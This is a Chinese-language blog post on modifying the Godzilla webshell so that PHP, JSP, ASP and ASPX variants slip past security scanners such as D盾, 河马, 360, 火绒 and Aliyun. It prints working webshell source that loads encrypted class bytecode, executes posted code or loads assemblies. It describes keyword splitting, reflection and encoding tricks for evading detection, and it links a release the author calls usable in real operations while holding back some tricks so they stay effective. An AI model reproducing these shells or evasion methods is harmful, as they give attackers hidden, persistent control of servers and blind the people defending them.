前言 有小伙伴提议说,我们上个文章改了一下哥斯拉的流量,但是在实际的应用中,我们打战肯定要先传木马落地,如果不能落地,那么你流量改的再好,其实也没有意义,想想,确实也是。没有第一步上传文件,哪里存在流量呢。
那么这次咱们来做一下免杀。在实际的应用中,似乎我们经常碰到安全设备,奈何咱这也没有啥安全设备,我们就采用常见的厂商的在线杀软吧。如果有小伙伴有的话,可以帮我测测,把结果告诉我,笔者再进行优化。
php 免杀 我们用默认生成的文件,
拖到d盾中,看一下
会报3级的双层变量,那好办,拿出来就行
让他先等于一个变量,在传递就可以了。
完事之后,就可以了
没有a.php了。
河马报毒,我们使用fuzz方法看一下哪里有问题。
这里经过fuzz,这里有$qianxinITUfjjXmxo2($_POST[$qianxinw7hJzkKxyi])的时候,那么就报毒,那简单,直接给他拆出来,用变量写。
这样写,就可以了
这里本地版的河马是没有问题了,但是吧,在线版的河马就是过不去,只要出现eval,就直接报。暂时没有太好的办法。在线加密也行,不过比较麻烦。这里就不写了
像d盾河马这种都是静态查杀的,他不管你里面的内容是什么,出现eval这种或者eval() eval(chuanchan) 就会报,d盾还好解决一点,用类可以绕,但是把 河马死活绕不过,先搁下吧。
实际中,我们经常会见到一下商业waf,
微步没报,但是他这个gtp说可能有问题。
火绒和360。火绒和360对webshell其实是不敏感的,终端安全,对cs 或者msf的🐎都比较敏感,所以感觉这个,没啥意义。也测一下吧。
阿里云报了可疑,没有绕过去。这个eval没有过去
好,php的免杀就先到这里吧。奈何笔者太菜了,动态的webshell查杀都过不去。
笔者在测试php5的时候,发现
http_response_code(404);这行代码时报错的
在php官网看,发现http_response_code只在(PHP 5 >= 5.4.0, PHP 7, PHP 8)支持。
不过,下面在十一年前,有大牛已经给出了解决方法,
好,这里我们就改完了。
用笔者开的这个工具,你会发现,每次生成的🐎都是一样的,注释什么的,和变量名,都一样。
我们想办法给他写一下,然他变动起来。
我们在原版中可以看到,读取哥斯拉默认生成模板bin文件后,会替换pass 和key。
那么相应的,我们定义几个变量,让他随机替换即可。
首先我们在方法里定义一个数组,然后进行随机排序,然后再给他拿出来用,就可以了。这里用了几个字符串。然后分别进行替换掉。
我们再在bin文件中,写上相应的所需要替换的字符串,这样就可以了。打包,编译。
这样,我们每次生成的木马就不一样了。就动态了。但是其实总体结构还是不变的。变得只是变量。
没事,能用就行,后面在优化。好了 php的免杀就先做到这里,下面是jsp的。
jsp 免杀 环境:Apache Tomcat/9.0.65
上来就是已知后门,那么肯定是被匹配到了关键字,fuzz一下。
在两次的🐎中可以看到,应该是匹配了cipher。
这里给他换成Unicode还是报,那可能还有关键词。
aes也有问题。ok,也给他编码一下,下半部分也有问题,改改。
我们在改这个的时候发现就算有这一句,也报已知,那说明,这个里面的\u啥啥啥的也被标记了。
我们在测试的时候,发现阿里云拦截的,
这种反射加载类的 invoke方式肯定是被拦截的。所以,我们让gpt帮我们写一下。
就类似于这种。这样的话,阿里云就不报了。
原本的哥斯拉分两半部分,上部分为定义的各种方法。如md5 base64 en decode aes等,
下半部分为,正真的传参逻辑。
我们让gpt帮我们改一下,上半部分,用反射机制,并且避免invoke出现。
左边为没有下班部分,右边是有的
可以看到,上半部分已经没有问题了,下半部分还是有问题,放一下🐎。
阿里云也报,他是报的f.equals(pageContext);。那我们再改一下。🐎的核心逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 <%! String xc = "3c6e0b8a9c15224a" ; String pass = "pass" ; String md5 = md5(pass + xc); class X extends ClassLoader { public X (ClassLoader z) { super (z); } public Class Q (byte [] cb) { try { return super .defineClass(null , cb, 0 , cb.length); } catch (ClassFormatError e) { e.printStackTrace(); return null ; } } } public byte [] x(byte [] s, boolean m) { try { Class<?> cipherClass = Class.forName("javax.crypto.Cipher" ); java.lang.reflect.Method getInstanceMethod = cipherClass.getMethod("getInstance" , String.class); Object cipher = getInstanceMethod.invoke(null , "AES" ); Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec" ); java.lang.reflect.Constructor<?> secretKeySpecConstructor = secretKeySpecClass.getConstructor(byte [].class, String.class); Object key = secretKeySpecConstructor.newInstance(xc.getBytes(), "AES" ); java.lang.reflect.Method initMethod = cipherClass.getMethod("init" , int .class, java.security.Key.class); initMethod.invoke(cipher, m ? 1 : 2 , key); java.lang.reflect.Method doFinalMethod = cipherClass.getMethod("doFinal" , byte [].class); return (byte []) doFinalMethod.invoke(cipher, (Object) s); } catch (Exception e) { e.printStackTrace(); return null ; } } public static String md5 (String s) { String ret = null ; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = new java.math.BigInteger(1 , m.digest()).toString(16 ).toUpperCase(); } catch (Exception e) {} return ret; } public static String base64Encode (byte [] bs) { try { java.util.Base64.Encoder encoder = java.util.Base64.getEncoder(); return encoder.encodeToString(bs); } catch (Exception e) { e.printStackTrace(); return null ; } } public static byte [] base64Decode(String bs) { try { java.util.Base64.Decoder decoder = java.util.Base64.getDecoder(); return decoder.decode(bs); } catch (Exception e) { e.printStackTrace(); return null ; } } %>
知道哪里有问题,就好改了。
我们直接在d盾处删了 阿里云报的 f.是不行的,
改了一下变量名,也不行。
经过一天的测试,发现,好像绕不过阿里云了。,太菜了。先这样。
aliyun会匹配f.equals(pageContext);
改成unicode也不行,aliyun是动态的,他会运行。其他的都用反射写好了。
哦,对了,还有一点就是这个defineClass(null, cb, 0, cb.length);方法。
https://xz.aliyun.com/t/11368
在这篇大师傅的文章中,详细说了这个,哥斯拉和冰蝎都是这样的需要defineClass方法来加载恶意类字节码,似乎需要自定义ClassLoader来绕过了。或者改payload了。
下面的评论中,也写了,单文件不好过阿里云了。需要分离了。笔者太菜了,后面在研究。
接下来看下半部分,在看了大量哥斯拉免杀马的教程后发现,d盾我也没过去。下面就记录一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <% try { byte [] data = base64Decode(request.getParameter(pass)); data = x(data, false ); if (session.getAttribute("payload" ) == null ) { session.setAttribute("payload" , new X(this .getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters" , data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload" )).newInstance(); f.equals(arrOut); f.equals(pageContext); response.getWriter().write(md5.substring(0 , 16 )); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true ))); response.getWriter().write(md5.substring(16 )); } } catch (Exception e) {} %>
这是下半部分,主要的查杀点是session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
准确的来说是getClassLoader这个字符串。
这里直接将这个字符串删掉,完全没有问题。
https://www.freebuf.com/sectool/386231.html
在这篇大师傅的文章中说,将this.getClass().getClassLoader() 可替换为Thread.currentThread().getContextClassLoader()
但是,我们惊奇的发现,getContextClassLoader() 也是存在ClassLoader 所以过不去。
为了gpt,发现,无论怎么获取,都需要有ClassLoader()这个字符,那么就走到了死胡同。
还有一种方法,就是自己写了,那么我们先搁下,后面在研究(其实就是笔者不会,等我研究研究的)。
那么还有一种方法就是混淆了,混淆就是用unicode编码。
但是你会发现,有unicode编码。 直接就报,也不管里面是啥。所以暂时我的路给堵死了。
最后我们就用unicode编码吧,报就报吧,总比报可疑好看一点。
这样的话,我们的模板就写好了。
试试火绒和360 ,
这里传值的时候,是payload就不行,火绒和360都报,
随便写个字符串,即可了。在改改变量名,就不演示了。好,这一我们的模板就彻底完事了。
放到哥斯拉里的bin文件就行。
当然,我们的bin文件需要改一改。由于,哥斯拉默认jsp形式的生成代码是两段,所以我们需要都改一下
把这些str写一下,在主generate中,写一些字符串,然后在生成代码时候进行替换就可以了。
这个活看起来确实不是很难,但是需要很细,改了一天,错一点又要重新删了在替换,心态快崩了。
这里细心的同学会发现,我将原本默认的哥斯拉生成的pass 和 key进行base64了。
就是在这个地方
在生成木马中,就找不到原来的pass 和一个16位的字符了,增加一丢丢迷惑性吧
原本的马中,是有md5函数的,但是这个没有,因为用不到,就给删了。
当然,其中也加了一些其他的东西。这里就不细讲了,防止暴漏,能让大家多用一会。
回到免杀,是的,也过掉了d盾,笔者上面说到的 gpt帮我们找了一些函数,但是都有classcload 过不去,其实不是,经过测试发现,这个是有可以代替的。gpt太强了。这里就不写改过哪里了。大家下载了直接用就好。下个版本在揭露,目前我看网上还没有这种用法。
这样呢,我们就过掉了d盾,希望d盾的作者不要看到这个文章,这样的话,就能一直用了。
好了,这样就可以了。暂时先用着,看下效果。
没次生成的
ok,没有问题,这样jsp的免杀就完成了。大家在使用的时候,尽量别用pass 和key做密码,太明显了。下面咱们来看asp的。
asp 免杀 先看一下原版的🐎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <% Set bypassDictionary = Server.CreateObject("Scripting.Dictionary") Function Base64Decode(ByVal vCode) Dim oXML, oNode Set oXML = CreateObject("Msxml2.DOMDocument.3.0") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.text = vCode Base64Decode = oNode.nodeTypedValue Set oNode = Nothing Set oXML = Nothing End Function Function decryption(content,isBin) dim size,i,result,keySize keySize = len(key) Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.CharSet = "iso-8859-1" BinaryStream.Type = 2 BinaryStream.Open if IsArray(content) then size=UBound(content)+1 For i=1 To size BinaryStream.WriteText chrw(ascb(midb(content,i,1)) Xor Asc(Mid(key,(i mod keySize)+1,1))) Next end if BinaryStream.Position = 0 if isBin then BinaryStream.Type = 1 decryption=BinaryStream.Read() else decryption=BinaryStream.ReadText() end if End Function key="3c6e0b8a9c15224a" content=request.Form("pass") if not IsEmpty(content) then if IsEmpty(Session("payload")) then content=decryption(Base64Decode(content),false) Session("payload")=content response.End else content=decryption(Base64Decode(content),true) bypassDictionary.Add "payload",Session("payload") Execute(bypassDictionary("payload")) result=run(content) response.Write("11cd6a") if not IsEmpty(result) then response.Write Base64Encode(decryption(result,true)) end if response.Write("ac826a") end if end if %>
我们会发现Execute(bypassDictionary(“payload”)) 这一句肯定是检查的重点了。经过看文章,一共就三个执行命令的函数,
Eval
Execute
ExecuteGlobal
大概率是不好过了。asp可以使用chr(97)这种方式进行混淆关键字。但是eval这种不可以。
类似这种。字符串和chr拼接。
大概这样
看一下查杀效果,首先看最强的阿里云
如我们所想,阿里云直接检测EXECUTE,存在即被ban,那这样的话,没啥好办法了,和php的eval一样了。先搁着,后面笔者在学习学习。
微步没问题
河马也没问题
d盾
360 火绒
那么也就是除了aliyun 其他应该都没啥问题
我们进行简单优化一下,函数和字符串复用一下,尽量少些一点字符。
然后整到到哥斯拉里。替换一下变量名。
模板也修改一下
然后打包试一下效果。生成三个免杀🐎,都不一样。
ok,没有任何问题。接下来看aspx。
aspx 免杀 我们先来看一下aspx的CSHAP_AES_BASE64的🐎
1 2 3 <%@ PAge LaNgUagE="C#"%> <%try { string key = "3c6e0b8a9c15224a"; string pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(Context.Request[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { System.IO.MemoryStream outStream = new System.IO.MemoryStream(); object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16)); } } catch (System.Exception) { } %>
代码相对较短。应该调用base64比较简单。asp调用base64代码相对较多,代码一度到了60行。大部分都是在加载base64。主要就是将返回的结果aes后进行base64。
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(changshangyi), System.Text.Encoding.Default.GetBytes(changshangyi)).TransformFinalBlock(data, 0, data.Length);
这一句应该是重要,还有
Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)));
理论上来说关于data处理的都是重要的,d盾都标记了。
这个地方定义一个变量传参,或者
直接将aes拆开也行。
现在报可疑。再fuzz一下,哪里可疑。
RijndaelManaged 换成AesManaged 可疑文件出现在下面这一句话上 System.Reflection.MethodInfo loadMethod = assemblyType.GetMethod(“Load”, parameterTypes);
这里还是给他拆开写。
这样就可以了。过掉d盾。 但是还是有问题,就是显示该文件为单文件aspx,有点丑陋。 经过fuzz笔者发现,这个单文件
匹配的就是开头的标识ASPX的一个字段,可以是 c、js、Jscript 、CSHARP等
没有这个就不报了。 经过搜索,这个大师傅已经给出了解决方案。
https://xz.aliyun.com/t/10937
放到最后,并且要<% @language=”c#” %>这么写 就可以绕过了。在优化一下key 和 pass 进行编码一下,隐藏起来。
来看一下aliyun,还是报恶意,但是这次并没有给出检测的哪里,emmmm,去fuzz的话,相对比较难,就是随便删除代码的话,会报正常,因为阿里云会动态检测,语法不对,就直接报正常了。fuzz的时间相对长一些。先搁置把。 微步
360 火绒
免杀都没啥问题。 这里没有使用其他大师傅那种 unicode编码的免杀,为什么呢,还是在jsp中遇到的,在d盾中,只要有unicode编码,就报可疑,感觉不是很好,所以就没有使用。当然,aspx是可以使用unicode进行免杀的。 好开始往里灌,整成动态的。
简单写一下,替换code即可。 一如既往生成三个。
可以看到,每次都不一定。
ok,使用也没问题。这样的话,aspx的免杀也就完成了。
总结 这里也算进行了简单的免杀,全部语言除了 aliyun没有过去,其他的平台基本全过。不得不承认,aliyun是强的。php 简单使用了一下类、对关键字进行了chr的替换,jsp重写了base64编码方法,重写了加载aes,使用的反射型方法写的,对关键字进行替换,asp使用了chr进行替换关键字拼接字符串,换了一下函数的写法,aspx对关键函数拆开重写,并且将关键查杀函数重新写了一下,对关键字base64编码。
下个版本 1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装, 后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。还有传递的参数 page=1&size=10 是固定的,让他也动起来。其他语言的 比如 jspf的 ,asmx的都没做,后面做。
下载、使用 什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/godzilla_erkai release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。 上个版本由于写的比较菜,没好意思跟大家要star,这次自我感觉还行,也算是实战能用了,如果感觉还凑合,大家帮忙点点star
致谢 最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错或者工具用起来还行,帮笔者点点stars、给公众号点点关注,先谢谢大家了。
参考 1 2 3 4 5 6 7 https://github.com/BeichenDream/Godzilla 原版哥斯拉 https://github.com/Tas9er/ByPassGodzilla ByPassGodzilla https://xz.aliyun.com/t/2758 利用动态二进制加密实现新型一句话木马之.NET篇 https://xz.aliyun.com/t/10937 测试几种实战成功过的webshell的免杀方式 https://xz.aliyun.com/t/11368 实战分析某红队魔改哥斯拉Webshell https://uuzdaisuki.com/2021/05/12/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6jsp%E7%AF%87/ webshell免杀研究jsp篇 https://www.secpulse.com/archives/193780.html 简单操作实现冰蝎jsp webshell 阿里云免杀
emmm 太菜了 一直在路上